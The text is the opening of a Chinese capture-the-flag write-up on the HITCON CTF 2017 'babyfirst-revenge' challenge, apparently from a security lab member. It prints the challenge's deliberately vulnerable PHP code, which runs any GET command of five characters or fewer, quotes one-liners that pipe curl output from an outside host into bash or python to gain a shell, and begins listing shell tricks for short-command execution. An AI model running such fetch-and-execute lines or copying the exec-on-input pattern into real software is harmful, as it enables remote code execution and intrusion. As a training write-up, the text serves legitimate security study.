本文作者:是大方子(Ms08067实验室核心成员)
﹀
﹀
﹀
01
前言
题目是hitcon-ctf-2017的babyfirst-revenge,之前是针对babyfirst-revenge-v2来进行学习研究的
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm ‐rf ' . $sandbox);
}
highlight_file(__FILE__);
orange师傅给的方式是通过拼接执行来getshell
curl 10.188.2.20|bash
curl orange.tw|python
这里的我也是通过orange师傅的思路想出了另一种解题方法。但是可能因为是环境的问题吧,系统一直把这种长度识别为5位
>\;\\
但是网上给出的解释和orange师傅给的题解都是有这种的,说是后面的\\长度只能算1。所以这里演示只在babyfirst-revenge上进行演示,如果环境可以的话也是可以在4位下成功执行的。
02
预备知识
通过>来创建文件
通过ls的-t(从晚到早)参数来基于时间来排序文件
sh a 会把文件a里面的内容当作命令来执行<